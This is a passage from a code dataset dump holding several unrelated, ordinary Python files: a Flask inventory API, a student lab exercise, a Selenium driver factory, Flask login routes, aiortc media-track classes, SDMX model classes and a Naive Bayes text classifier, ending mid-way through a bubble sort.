return_code\n\n@app.route('/Products/add_unit/', methods=['PUT'])\ndef add_product_unit(id):\n \"\"\" Updates a Product in the database fom the posted database \"\"\"\n product = Product.find(id)\n if product:\n product.count = int(product.count) + 1\n message = product.serialize()\n return_code = HTTP_200_OK\n else:\n message = {'error' : 'Product with id: %s was not found' % str(id)}\n return_code = HTTP_404_NOT_FOUND\n\n return jsonify(message), return_code\n\n@app.route('/Products/sell_products/', methods=['PUT'])\ndef sell_products(id):\n \"\"\" Updates a Product in the database fom the posted database \"\"\"\n product = Product.find(id)\n if product:\n if product.count == 0:\n message = {'error' : 'Product with id: %s is out of Stock' % str(id)}\n else:\n product.count = int(product.count) - 1\n message = product.serialize()\n\n return_code = HTTP_200_OK\n else:\n message = {'error' : 'Product with id: %s was not found' % str(id)}\n return_code = HTTP_404_NOT_FOUND\n\n return jsonify(message), return_code\n\n######################################################################\n# DELETE A Product\n######################################################################\n@app.route('/Products/', methods=['DELETE'])\ndef delete_product(id):\n \"\"\" Removes a Product from the database that matches the id \"\"\"\n product = Product.find(id)\n if product:\n product.delete()\n return make_response('', HTTP_204_NO_CONTENT)\n\n######################################################################\n# GET PRODUCT DATA\n######################################################################\ndef get_product_data():\n\n with open(\"sample_products.csv\") as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n Product(0, row['Name'], row['Category'], row['Price'], row['Description'], row['Color'], int(row['Count'])).save()\n\n######################################################################\n# M A I N\n######################################################################\nif __name__ == \"__main__\":\n # dummy data for testing\n # Product(0, 'Asus2500', 'Laptop', '234', 'qerwrw', 'erwwfwf').save()\n # Product(0, 'GE4509', 'Microwave','34324', 'wewef', 'fwfwsxdws' ).save()\n get_product_data()\n app.run(host='0.0.0.0',debug=False)\n #port = int(os.environ.get('PORT', 5000))\n #socketio.run(app, host='0.0.0.0', port=port)\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":7631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"41137189","text":"# Patrick Kunst\n# CSC 241\n# Lab 4 Part 2\n\n# A\nmy_list = ['qw', 'er', 'ty', 'ui', 'op', 'as']\n\n# B\nletters = 'qwertyuiopas'\n\n# C\nif 'ui' in my_list:\n print(my_list.index('ui'))\n\n# D\nif 'ui' in letters:\n print(letters.find('ui'))\n\n# E\nif 'r' in my_list:\n print(my_list.index('r'))\n\n# F\nif 'r' in letters:\n print(letters.find('r'))\n\n# G\nmy_list.reverse()\nprint(my_list)\n\n# H\nreverse = ''\ny = -1\nfor x in letters:\n reverse += letters[y]\n y -= 1\n\nprint(reverse)\n","sub_path":"LAB4_2.py","file_name":"LAB4_2.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"67021487","text":"\"\"\"\n@package base\n\nWebDriver Factory class implementation\nIt creates a webdriver instance based on browser configurations\n\nExample:\n wdf = WebDriverFactory(browser)\n wdf.getWebDriverInstance()\n\"\"\"\nfrom selenium import webdriver\n\n\nclass WebDriverFactory:\n def __init__(self, browser):\n \"\"\"\n Inits WebDriverFactor class\n\n Returns:\n None\n :param browser:\n \"\"\"\n self.browser = browser\n\n \"\"\"\n Set chrome driver and iexplorer environment based on OS\n\n chromedriver = \"C:/.../chromedriver.exe\"\n os.environ[\"webdriver.chrome.driver\"] = chromedriver\n self.driver = webdriver.Chrome(chromedriver)\n PREFERRED: Set the path on the machine where browser will be executed\n \"\"\"\n def get_webdriver_instance(self):\n \"\"\"\n Get WebDriver Instance based on the browser configuration\n\n Returns:\n 'WebDriver Instance'\n \"\"\"\n # base_url = \"http://a06543.sys.ds.wolseley.com:3043/psp/fusdev10/\" # FUSDEV10\n # base_url = \"http://a06615.sys.ds.wolseley.com:3052/psc/fustst10/\" # FUSTST10\n # base_url = \"http://a06617.sys.ds.wolseley.com:3061/psp/fusuat10/\" # FUSUAT10\n base_url = \"http://a06615.sys.ds.wolseley.com:3050/psp/fustst00/\" # FUSTST00\n # base_url = \"https://fms-uat-fei.sys.ds.wolseley.com:3460/psp/fusuat00/\" # FUSUAT00\n\n if self.browser == \"iexplorer\":\n driver = webdriver.Ie()\n elif self.browser == \"firefox\":\n driver = webdriver.Firefox()\n elif self.browser == \"chrome\":\n driver = webdriver.Chrome()\n elif self.browser == \"edge\":\n driver = webdriver.Edge()\n else:\n driver = webdriver.Chrome()\n\n driver.implicitly_wait(3)\n driver.maximize_window()\n driver.get(base_url)\n\n return driver\n","sub_path":"base/webdriver_factory.py","file_name":"webdriver_factory.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"390564148","text":"# Since importing app package executes __init__.py, so we can import any variable\n# inside __init__.py\nfrom app import app\nfrom flask import render_template, flash, redirect, url_for\nfrom app.forms import LoginForm\n\n\n@app.route('/')\t# It is a decorator\n@app.route('/index')\ndef index():\t# It is a view function\n\tuser = {'username' : 'Krishan'}\n\tposts = [\n\t\t{\n\t\t\t'author' : {'username' : 'Krishan'},\n\t\t\t'body' : 'This is Krishan' \n\t\t}, \n\t\t{\n\t\t\t'author' : {'username' : 'Rishabh'},\n\t\t\t'body' : 'This is Rishabh'\n\t\t}\n\t]\n\treturn render_template('index.html', title='Home', user=user, posts=posts)\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n form = LoginForm()\t# from app.forms import LoginForm\n if form.validate_on_submit():\t# It returns false if user hits a post request from form\n # The below line generates a flash message (from flask import flash)\n flash('Login requested for user {}, remember_me={}'.format(\n form.username.data, form.remember_me.data))\n return redirect(url_for('index'))\t# from flask import url_for\n return render_template('login.html', title='Sign In', form=form)\n\n\n","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"318300799","text":"import asyncio\nimport math\nimport threading\nimport time\nimport wave\n\nimport av\nimport cv2\nimport numpy\n\nfrom ..codecs.h264 import frame_from_avframe\nfrom ..mediastreams import (AudioFrame, AudioStreamTrack, VideoFrame,\n VideoStreamTrack)\n\nAUDIO_PTIME = 0.020 # 20ms audio packetization\n\n\ndef frame_from_bgr(data_bgr):\n data_yuv = cv2.cvtColor(data_bgr, cv2.COLOR_BGR2YUV_I420)\n return VideoFrame(width=data_bgr.shape[1], height=data_bgr.shape[0], data=data_yuv.tobytes())\n\n\ndef frame_from_gray(data_gray):\n data_bgr = cv2.cvtColor(data_gray, cv2.COLOR_GRAY2BGR)\n data_yuv = cv2.cvtColor(data_bgr, cv2.COLOR_BGR2YUV_I420)\n return VideoFrame(width=data_bgr.shape[1], height=data_bgr.shape[0], data=data_yuv.tobytes())\n\n\ndef frame_to_bgr(frame):\n data_flat = numpy.frombuffer(frame.data, numpy.uint8)\n data_yuv = data_flat.reshape((math.ceil(frame.height * 12 / 8), frame.width))\n return cv2.cvtColor(data_yuv, cv2.COLOR_YUV2BGR_I420)\n\n\nclass AudioFileTrack(AudioStreamTrack):\n \"\"\"\n An AudioStreamTrack subclass for reading audio from a WAV file.\n \"\"\"\n def __init__(self, path):\n self.last = None\n self.reader = wave.open(path, 'rb')\n assert self.reader.getsampwidth() == 2, 'Only 16-bit samples are supported'\n self.frames_per_packet = int(self.reader.getframerate() * AUDIO_PTIME)\n\n async def recv(self):\n # as we are reading audio from a file and not using a \"live\" source,\n # we need to control the rate at which audio is sent\n if self.last:\n now = time.time()\n await asyncio.sleep(self.last + AUDIO_PTIME - now)\n self.last = time.time()\n\n data = self.reader.readframes(self.frames_per_packet)\n frames = len(data) // (self.reader.getnchannels() * self.reader.getsampwidth())\n missing = self.frames_per_packet - frames\n if missing:\n self.reader.rewind()\n data += self.reader.readframes(missing)\n\n return AudioFrame(\n channels=self.reader.getnchannels(),\n data=data,\n sample_rate=self.reader.getframerate())\n\n\nclass VideoFileTrack(VideoStreamTrack):\n \"\"\"\n A VideoStreamTrack subclass for reading video from a file.\n \"\"\"\n def __init__(self, path):\n self.cap = cv2.VideoCapture(path)\n self.last = None\n self.ptime = 1 / self.cap.get(cv2.CAP_PROP_FPS)\n\n async def recv(self):\n # as we are reading audio from a file and not using a \"live\" source,\n # we need to control the rate at which audio is sent\n if self.last:\n now = time.time()\n await asyncio.sleep(self.last + self.ptime - now)\n self.last = time.time()\n\n ret, frame = self.cap.read()\n if not ret:\n # loop\n self.cap.set(cv2.CAP_PROP_POS_FRAMES, 0)\n ret, frame = self.cap.read()\n\n return frame_from_bgr(frame)\n\n\ndef player_worker(loop, container, audio_track, video_track, quit_event):\n audio_fifo = av.audio.fifo.AudioFifo()\n audio_format = av.audio.format.AudioFormat('s16')\n audio_resampler = av.audio.resampler.AudioResampler(\n format=audio_format)\n\n frame_time = None\n start_time = time.time()\n\n while not quit_event.is_set():\n try:\n frame = next(container.decode())\n except StopIteration:\n if audio_track:\n audio_track.stop()\n if video_track:\n video_track.stop()\n break\n\n if frame_time and (time.time() - start_time) < frame_time + 2:\n time.sleep(0.1)\n\n if isinstance(frame, av.AudioFrame) and audio_track:\n frame_time = frame.time\n if frame.format != audio_format:\n frame = audio_resampler.resample(frame)\n samples_per_frame = int(frame.sample_rate * AUDIO_PTIME)\n audio_fifo.write(frame)\n while True:\n frame = audio_fifo.read(samples_per_frame)\n if frame:\n frame_time = frame.time\n frame = AudioFrame(\n channels=len(frame.layout.channels),\n data=frame.planes[0].to_bytes(),\n sample_rate=frame.sample_rate)\n asyncio.run_coroutine_threadsafe(audio_track._queue.put(\n (frame, frame_time)), loop)\n else:\n break\n elif isinstance(frame, av.VideoFrame) and video_track:\n if video_track._queue.qsize() < 30:\n frame_time = frame.time\n frame = frame_from_avframe(frame)\n asyncio.run_coroutine_threadsafe(video_track._queue.put(\n (frame, frame_time)), loop)\n\n\nclass PlayerAudioTrack(AudioStreamTrack):\n def __init__(self):\n super().__init__()\n self._ended = False\n self._queue = asyncio.Queue()\n self._start = None\n\n async def recv(self):\n frame, frame_time = await self._queue.get()\n\n # control playback rate\n if self._start is None:\n self._start = time.time() - frame_time\n else:\n wait = self._start + frame_time - time.time()\n await asyncio.sleep(wait)\n\n return frame\n\n def stop(self):\n if not self._ended:\n self._ended = True\n self.emit('ended')\n\n\nclass PlayerVideoTrack(VideoStreamTrack):\n def __init__(self):\n super().__init__()\n self._ended = False\n self._queue = asyncio.Queue()\n self._start = None\n\n async def recv(self):\n frame, frame_time = await self._queue.get()\n\n # control playback rate\n if self._start is None:\n self._start = time.time() - frame_time\n else:\n wait = self._start + frame_time - time.time()\n await asyncio.sleep(wait)\n\n return frame\n\n def stop(self):\n if not self._ended:\n self._ended = True\n self.emit('ended')\n\n\nclass MediaPlayer:\n \"\"\"\n Allows you to read audio and/or video from a file.\n \"\"\"\n def __init__(self, path):\n self.__container = av.open(file=path, mode='r')\n self.__thread = None\n self.__thread_quit = None\n\n # examine streams\n self.__audio = None\n self.__video = None\n for stream in self.__container.streams:\n if isinstance(stream, av.audio.stream.AudioStream) and not self.__audio:\n self.__audio = PlayerAudioTrack()\n elif isinstance(stream, av.video.stream.VideoStream) and not self.__video:\n self.__video = PlayerVideoTrack()\n\n @property\n def audio(self):\n \"\"\"\n An :class:`AudioStreamTrack` instance if the file contains audio.\n \"\"\"\n return self.__audio\n\n @property\n def video(self):\n \"\"\"\n A :class:`VideoStreamTrack` instance if the file contains video.\n \"\"\"\n return self.__video\n\n def play(self):\n \"\"\"\n Start playback.\n \"\"\"\n if self.__thread is None:\n self.__thread_quit = threading.Event()\n self.__thread = threading.Thread(\n target=player_worker,\n args=(\n asyncio.get_event_loop(), self.__container,\n self.__audio, self.__video,\n self.__thread_quit))\n self.__thread.start()\n\n def stop(self):\n \"\"\"\n Stop playback.\n \"\"\"\n if self.__thread is not None:\n self.__thread_quit.set()\n self.__thread.join()\n self.__thread = None\n\n if self.__audio:\n self.__audio.stop()\n if self.__video:\n self.__video.stop()\n","sub_path":"aiortc/contrib/media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":7775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"438566839","text":"\"\"\"SDMX 2.1 Information Model.\"\"\"\nimport logging\n\n# TODO for complete implementation of the IM, enforce TimeKeyValue (instead of KeyValue)\n# for {Generic,StructureSpecific} TimeSeriesDataSet.\nfrom dataclasses import dataclass, field\nfrom typing import Generator, List, Optional, Set, Union\n\nfrom sdmx.dictlike import DictLikeDescriptor\n\nfrom . import common\nfrom .common import (\n AttributeRelationship,\n Component,\n ComponentList,\n ConstrainableArtefact,\n ConstraintRole,\n DataAttribute,\n DimensionComponent,\n IdentifiableArtefact,\n Key,\n NameableArtefact,\n)\n\n# Classes defined directly in the current file, in the order they appear\n__all__ = [\n \"SelectionValue\",\n \"MemberValue\",\n \"TimeRangeValue\",\n \"BeforePeriod\",\n \"AfterPeriod\",\n \"RangePeriod\",\n \"DataKey\",\n \"DataKeySet\",\n \"Constraint\",\n \"MemberSelection\",\n \"ContentConstraint\",\n \"MeasureDimension\",\n \"PrimaryMeasure\",\n \"MeasureDescriptor\",\n \"NoSpecifiedRelationship\",\n \"PrimaryMeasureRelationship\",\n \"ReportingYearStartDay\",\n \"DataStructureDefinition\",\n \"DataflowDefinition\",\n \"Observation\",\n \"StructureSpecificDataSet\",\n \"GenericDataSet\",\n \"GenericTimeSeriesDataSet\",\n \"StructureSpecificTimeSeriesDataSet\",\n \"MetadataflowDefinition\",\n \"MetadataStructureDefinition\",\n]\n\nlog = logging.getLogger(__name__)\n\n\n# §10.3: Constraints\n\n\nclass SelectionValue(common.BaseSelectionValue):\n \"\"\"SDMX 2.1 SelectionValue.\n\n Identical to its parent class.\n \"\"\"\n\n\nclass MemberValue(common.BaseMemberValue, SelectionValue):\n \"\"\"SDMX 2.1 MemberValue.\"\"\"\n\n\nclass TimeRangeValue(SelectionValue):\n \"\"\"SDMX 2.1 TimeRangeValue.\"\"\"\n\n\nclass BeforePeriod(TimeRangeValue, common.Period):\n pass\n\n\nclass AfterPeriod(TimeRangeValue, common.Period):\n pass\n\n\n@dataclass\nclass RangePeriod(TimeRangeValue):\n start: common.StartPeriod\n end: common.EndPeriod\n\n\nclass DataKey(common.BaseDataKey):\n \"\"\"SDMX 2.1 DataKey.\n\n Identical to its parent class.\n \"\"\"\n\n\nclass DataKeySet(common.BaseDataKeySet):\n \"\"\"SDMX 2.1 DataKeySet.\n\n Identical to its parent class.\n \"\"\"\n\n\n@dataclass\nclass Constraint(common.BaseConstraint):\n \"\"\"SDMX 2.1 Constraint.\n\n For SDMX 3.0, see :class:`.v30.Constraint`.\n \"\"\"\n\n # NB the spec gives 1..* for this attribute, but this implementation allows only 1\n role: Optional[ConstraintRole] = None\n #: :class:`.DataKeySet` included in the Constraint.\n data_content_keys: Optional[DataKeySet] = None\n # metadata_content_keys: MetadataKeySet = None\n\n def __contains__(self, value):\n if self.data_content_keys is None:\n raise NotImplementedError(\"Constraint does not contain a DataKeySet\")\n\n return value in self.data_content_keys\n\n\nclass MemberSelection(common.BaseMemberSelection):\n \"\"\"SDMX 2.1 MemberSelection.\"\"\"\n\n\n@dataclass\n@NameableArtefact._preserve(\"repr\")\nclass ContentConstraint(Constraint, common.BaseContentConstraint):\n #: :class:`CubeRegions <.CubeRegion>` included in the ContentConstraint.\n data_content_region: List[common.CubeRegion] = field(default_factory=list)\n #:\n content: Set[ConstrainableArtefact] = field(default_factory=set)\n metadata_content_region: Optional[common.MetadataTargetRegion] = None\n\n def __contains__(self, value):\n if self.data_content_region:\n return all(value in cr for cr in self.data_content_region)\n else:\n raise NotImplementedError(\"ContentConstraint does not contain a CubeRegion\")\n\n def to_query_string(self, structure):\n cr_count = len(self.data_content_region)\n try:\n if cr_count > 1:\n log.warning(f\"to_query_string() using first of {cr_count} CubeRegions\")\n\n return self.data_content_region[0].to_query_string(structure)\n except IndexError:\n raise RuntimeError(\"ContentConstraint does not contain a CubeRegion\")\n\n def iter_keys(\n self,\n obj: Union[\"DataStructureDefinition\", \"DataflowDefinition\"],\n dims: List[str] = [],\n ) -> Generator[Key, None, None]:\n \"\"\"Iterate over keys.\n\n A warning is logged if `obj` is not already explicitly associated to this\n ContentConstraint, i.e. present in :attr:`.content`.\n\n See also\n --------\n .DataStructureDefinition.iter_keys\n \"\"\"\n if obj not in self.content:\n log.warning(f\"{repr(obj)} is not in {repr(self)}.content\")\n\n yield from obj.iter_keys(constraint=self, dims=dims)\n\n\n# §5.3: Data Structure Definition\n\n\n@dataclass\nclass MeasureDimension(DimensionComponent):\n \"\"\"SDMX 2.1 MeasureDimension.\n\n This class is not present in SDMX 3.0.\n \"\"\"\n\n #:\n concept_role: Optional[common.Concept] = None\n\n\nclass PrimaryMeasure(Component):\n \"\"\"SDMX 2.1 PrimaryMeasure.\n\n This class is not present in SDMX 3.0; see instead :class:`.v30.Measure`.\n \"\"\"\n\n\nclass MeasureDescriptor(ComponentList[PrimaryMeasure]):\n \"\"\"SDMX 2.1 MeasureDescriptor.\n\n For SDMX 3.0 see instead :class:`.v30.MeasureDescriptor`.\n \"\"\"\n\n _Component = PrimaryMeasure\n\n\nclass NoSpecifiedRelationship(AttributeRelationship):\n \"\"\"Indicates that the attribute is attached to the entire data set.\"\"\"\n\n\nclass PrimaryMeasureRelationship(AttributeRelationship):\n \"\"\"Indicates that the attribute is attached to a particular observation.\"\"\"\n\n\nclass ReportingYearStartDay(DataAttribute):\n \"\"\"SDMX 2.1 ReportingYearStartDay.\n\n This class is deleted in SDMX 3.0.\n \"\"\"\n\n\n@dataclass(repr=False)\n@IdentifiableArtefact._preserve(\"hash\")\nclass DataStructureDefinition(common.BaseDataStructureDefinition):\n \"\"\"SDMX 2.1 DataStructureDefinition (‘DSD’).\"\"\"\n\n MemberValue = MemberValue\n MemberSelection = MemberSelection\n ConstraintType = ContentConstraint\n\n #: A :class:`.MeasureDescriptor`.\n measures: MeasureDescriptor = field(default_factory=MeasureDescriptor)\n\n\n@dataclass(repr=False)\n@IdentifiableArtefact._preserve(\"hash\")\nclass DataflowDefinition(common.BaseDataflow):\n #:\n structure: DataStructureDefinition = field(default_factory=DataStructureDefinition)\n\n\n# §5.4: Data Set\n\n\n@dataclass\nclass Observation(common.BaseObservation):\n #:\n value_for: Optional[PrimaryMeasure] = None\n\n\n@dataclass\nclass DataSet(common.BaseDataSet):\n \"\"\"SDMX 2.1 DataSet.\"\"\"\n\n #: Named ``attachedAttribute`` in the IM.\n attrib: DictLikeDescriptor[str, common.AttributeValue] = DictLikeDescriptor()\n\n\nclass StructureSpecificDataSet(DataSet):\n \"\"\"SDMX 2.1 StructureSpecificDataSet.\n\n This subclass has no additional functionality compared to DataSet.\n \"\"\"\n\n\nclass GenericDataSet(DataSet):\n \"\"\"SDMX 2.1 GenericDataSet.\n\n This subclass has no additional functionality compared to DataSet.\n \"\"\"\n\n\nclass GenericTimeSeriesDataSet(DataSet):\n \"\"\"SDMX 2.1 GenericTimeSeriesDataSet.\n\n This subclass has no additional functionality compared to DataSet.\n \"\"\"\n\n\nclass StructureSpecificTimeSeriesDataSet(DataSet):\n \"\"\"SDMX 2.1 StructureSpecificTimeSeriesDataSet.\n\n This subclass has no additional functionality compared to DataSet.\n \"\"\"\n\n\n# §7.3 Metadata Structure Definition\n\n\nclass MetadataStructureDefinition(common.BaseMetadataStructureDefinition):\n \"\"\"SDMX 2.1 MetadataStructureDefinition.\"\"\"\n\n\nclass MetadataflowDefinition(common.BaseMetadataflow):\n \"\"\"SDMX 2.1 MetadataflowDefinition.\"\"\"\n\n\nCF = common.ClassFinder(\n __name__,\n name_map={\n \"Dataflow\": \"DataflowDefinition\",\n \"Metadataflow\": \"MetadataflowDefinition\",\n },\n parent_map={\n PrimaryMeasure: MeasureDescriptor,\n },\n)\nget_class = CF.get_class\nparent_class = CF.parent_class\n__dir__ = CF.dir\n__getattr__ = CF.getattr\n","sub_path":"sdmx/model/v21.py","file_name":"v21.py","file_ext":"py","file_size_in_byte":7733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"262110265","text":"import numpy\nimport pandas as pd\nimport operator\nfrom numpy import array\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.metrics import accuracy_score\n\n\n# ================================================================================#\n# Load a CSV file\ndef load_csv(filename):\n data = pd.read_csv(filename, header=None, delimiter=' ')\n dataset = data.values\n return dataset\n\n\n# ================================================================================#\n# Convert 2 lists to a dictionary\ndef list_to_dict(word, freq):\n dct = dict()\n index = 0\n for item in word:\n if item in dct:\n dct[item] = dct[item] + freq[index]\n else:\n dct[item] = freq[index]\n index += 1\n return dct\n\n\n# ================================================================================#\n# Get dict of word-freq list\ndef get_word_freq_dict(data):\n word_id_list = []\n freq_list = []\n for row in data:\n word_id_list.append(row[1])\n freq_list.append(row[2])\n word_freq_dict = list_to_dict(word_id_list, freq_list)\n return word_freq_dict\n\n\n# ================================================================================#\n# Generate a doc-word dictionary\ndef get_doc_word_dict(data):\n doc_word_dict = {}\n for row in data:\n if row[0] in doc_word_dict:\n doc_word_dict[row[0]].append(row[1])\n else:\n doc_word_dict[row[0]] = [row[1]]\n return doc_word_dict\n\n\n# ================================================================================#\n# Select the top |V| for training the data\ndef get_top_words_ids(vocabulary_size, word_freq_list):\n top_words_ids = []\n for v in range(vocabulary_size):\n top_words_ids.append(word_freq_list[v][0])\n return top_words_ids\n\n\n# ================================================================================#\n# Create train data features vector: X_train\ndef create_X_train_features(vocabulary_size, documents_size, top_words_ids, doc_word_dict):\n X_train = [[0 for x in range(vocabulary_size)] for y in range(documents_size)]\n # Include a word only if it is in top |V| words\n for i in range(documents_size):\n for v in range(vocabulary_size):\n if top_words_ids[v] in doc_word_dict[i + 1]:\n X_train[i][v] = 1\n return X_train\n\n\n# ================================================================================#\n# Create train data labels vector: Y_train\ndef create_train_labels(dir_path):\n data = load_csv(dir_path + '/' + 'train_label.csv')\n labels = []\n for row in data:\n labels.append(row)\n\n # Generate one hot encoded labels\n labels = array(labels)\n labels = numpy.ravel(labels)\n # integer encode\n label_encoder = LabelEncoder()\n integer_encoded = label_encoder.fit_transform(labels)\n # binary encode\n onehot_encoder = OneHotEncoder(sparse=False)\n integer_encoded = integer_encoded.reshape(len(integer_encoded), 1)\n onehot_encoded_labels = onehot_encoder.fit_transform(integer_encoded)\n\n return labels, onehot_encoded_labels\n\n\n# ================================================================================#\n# Generate the yik dictionary\ndef create_yik_dict(labels):\n yik_dict = {}\n for item in labels:\n if item in yik_dict:\n yik_dict[item] = yik_dict[item] + 1\n else:\n yik_dict[item] = 1\n return yik_dict\n\n\n# ================================================================================#\n# Calculate the pi values for all classes: pi(k)\ndef calculate_pi_values(yik_dict, N, onehot_encoded_labels):\n pi_values = [0.0 for i in range(len(yik_dict))]\n for k in range(len(yik_dict)):\n for i in range(N):\n if onehot_encoded_labels[i][k] == 1:\n pi_values[k] += 1\n pi_values[k] = pi_values[k] / N\n return pi_values\n\n\n# ================================================================================#\n# Calculate the theta values: θ(j,k)\ndef calculate_theta_values(yik_dict, vocabulary_size, N, pi_values, X_train, onehot_encoded_labels):\n theta_jk = [[0.0 for k in range(len(yik_dict))] for j in range(vocabulary_size)]\n for k in range(len(yik_dict)):\n den = pi_values[k] * N\n for j in range(vocabulary_size):\n num = 0.0\n for i in range(N):\n if (X_train[i][j] == 1) and (onehot_encoded_labels[i][k] == 1):\n num += 1\n theta_jk[j][k] = num / den\n return theta_jk\n\n\n# ================================================================================#\n# Generate doc-word dictionary for test data\ndef get_doc_word_dict_test(top_words_ids, dir_path):\n test_data = load_csv(dir_path + '/' + 'test_data.csv')\n doc_word_dict = {}\n for row in test_data:\n if row[1] in top_words_ids:\n if row[0] in doc_word_dict:\n doc_word_dict[row[0]].append(row[1])\n else:\n doc_word_dict[row[0]] = [row[1]]\n return doc_word_dict\n\n\n# ================================================================================#\n# Calculate the den values for the formula of class prediction\ndef calculate_den_values_for_prediction(doc_word_dict, yik_dict, pi_values, top_words_ids, theta_jk):\n den = [0.0 for i in range(len(doc_word_dict))]\n for index in range(len(doc_word_dict)):\n deno = 0.0\n for k in range(len(yik_dict)):\n num = pi_values[k]\n # deno = 0.0\n # for i in range(len(numpy.ravel(list(doc_word_dict.values())))):\n if index + 1 in doc_word_dict:\n for i in numpy.ravel(list(doc_word_dict[index + 1])):\n idx = top_words_ids.index(i)\n num *= theta_jk[idx][k]\n deno += num\n den[index] = deno\n return den\n\n\n# ================================================================================#\n# Apply the Naive Bayes formula for predicting multiple classes\ndef apply_naive_bayes(yik_dict, doc_word_dict, pi_values, top_words_ids, theta_jk, den, predicted_labels, Y_pred):\n for index in range(len(doc_word_dict)):\n for k in range(len(yik_dict)):\n num = pi_values[k]\n if index + 1 in doc_word_dict:\n for i in numpy.ravel(list(doc_word_dict[index + 1])):\n idx = top_words_ids.index(i)\n num *= theta_jk[idx][k]\n if den[index] == 0:\n predicted_labels[index][k] = 0\n else:\n predicted_labels[index][k] = num / den[index]\n Y_pred[index] = (predicted_labels[index].index(max(predicted_labels[index])) + 1)\n return Y_pred, predicted_labels\n\n\n# ================================================================================#\n# Prediction function\ndef predict_the_classes(yik_dict, doc_word_dict, pi_values, top_words_ids, theta_jk, den, dir_path):\n # Loading the test file\n test_labels = load_csv(dir_path + '/' + 'test_label.csv')\n # Initialize the Y_act and Y_pred lists\n Y_pred = [0 for i in range(len(test_labels))]\n Y_actual = []\n for row in test_labels:\n Y_actual.append(row)\n # Initialize the Y_pred lists\n predicted_labels = [[0.0 for k in range(len(yik_dict))] for i in range(len(doc_word_dict))]\n # Apply the Naive Bayes formula for predicting multiple classes\n Y_pred, predicted_labels = apply_naive_bayes(yik_dict, doc_word_dict, pi_values, top_words_ids, theta_jk, den,\n predicted_labels,\n Y_pred)\n return Y_pred, Y_actual\n\n\n# ================================================================================#\n# MAIN Function\ndef main():\n dir_path = 'C:/Users/prati/PycharmProjects/MlPractice/Assignment 3/20NG_Data'\n data = load_csv(dir_path + '/' + 'train_data.csv')\n data = numpy.array(data).tolist()\n word_freq_dict = get_word_freq_dict(data)\n\n vocabulary_size_list = [100, 500]\n # , 1000, 2500, 5000, 7500, 10000, 12500,25000,50000,len(word_freq_dict)]\n pi_values_filenames = ['Top100_pi_values.csv',\n 'Top500_pi_values.csv',\n 'Top1000_pi_values.csv',\n 'Top2500_pi_values.csv',\n 'Top5000_pi_values.csv',\n 'Top7500_pi_values.csv',\n 'Top10000_pi_values.csv',\n 'Top12500_pi_values.csv',\n 'Top25000_pi_values.csv',\n 'Top50000_pi_values.csv',\n 'TopAll_pi_values.csv',]\n theta_values_filenames = ['Top100_theta_values.csv',\n 'Top500_theta_values.csv',\n 'Top1000_theta_values.csv',\n 'Top2500_theta_values.csv',\n 'Top5000_theta_values.csv',\n 'Top7500_theta_values.csv',\n 'Top10000_theta_values.csv',\n 'Top12500_theta_values.csv',\n 'Top25000_theta_values.csv',\n 'Top50000_theta_values.csv',\n 'TopAll_theta_values.csv',]\n\n counter = 0\n for vocabulary_size in vocabulary_size_list:\n\n # Load the training data file\n dir_path = 'C:/Users/prati/PycharmProjects/MlPractice/Assignment 3/20NG_Data'\n data = load_csv(dir_path + '/' + 'train_data.csv')\n data = numpy.array(data).tolist()\n\n # Generate a doc-word dictionary\n doc_word_dict = get_doc_word_dict(data)\n\n # Load the training labels\n d = load_csv(dir_path + '/' + 'train_label.csv')\n documents_size = len(d)\n\n # Generate a word-freq dictionary and then sort it\n word_freq_dict = get_word_freq_dict(data)\n word_freq_list = sorted(word_freq_dict.items(), key=operator.itemgetter(1), reverse=True)\n\n # Select the top |V| for training the data\n top_words_ids = get_top_words_ids(vocabulary_size, word_freq_list)\n\n # Create train data features vector: X_train\n X_train = create_X_train_features(vocabulary_size, documents_size, top_words_ids, doc_word_dict)\n\n # Create train data labels vector: Y_train\n labels, onehot_encoded_labels = create_train_labels(dir_path)\n\n # Generate the yik dictioanry\n yik_dict = create_yik_dict(labels)\n\n # Total number of documents\n N = len(labels)\n\n # Calculate the pi values for all classes: Pi(k)\n pi_values = calculate_pi_values(yik_dict, N, onehot_encoded_labels)\n f = open(pi_values_filenames[counter], 'w')\n for p in pi_values:\n f.write(str(p) + '\\n')\n f.close()\n\n # Calculating Theta values: θ(j,k)\n theta_jk = calculate_theta_values(yik_dict, vocabulary_size, N, pi_values, X_train, onehot_encoded_labels)\n f = open(theta_values_filenames[counter], 'w')\n for j in theta_jk:\n for k in j:\n f.write(str(k) + ' ')\n f.write('\\n')\n f.close()\n\n # Predicting the classes\n\n # Generate doc-word dictionary for test data\n doc_word_dict = get_doc_word_dict_test(top_words_ids, dir_path)\n\n # Calculate the den values for the formula of class prediction\n den = calculate_den_values_for_prediction(doc_word_dict, yik_dict, pi_values, top_words_ids, theta_jk)\n\n # Prediction function\n Y_pred, Y_actual = predict_the_classes(yik_dict, doc_word_dict, pi_values, top_words_ids, theta_jk, den,\n dir_path)\n\n print(\"Accuracy score Vocabulary=: \", vocabulary_size)\n print(accuracy_score(Y_actual, Y_pred) * 100.0)\n print('')\n counter += 1\n\n\n# ================================================================================#\n# Start of the python script\nif __name__ == '__main__':\n main()\n","sub_path":"Assignment 3/Solutions/TASK2.4.2-Part1.py","file_name":"TASK2.4.2-Part1.py","file_ext":"py","file_size_in_byte":12118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"607685194","text":"def bubble_sort(arr):\n length = len(arr)\n if(length <= 1):\n return arr\n for i in range(length-1):\n for j in range(length-1-i):\n if arr[j] > 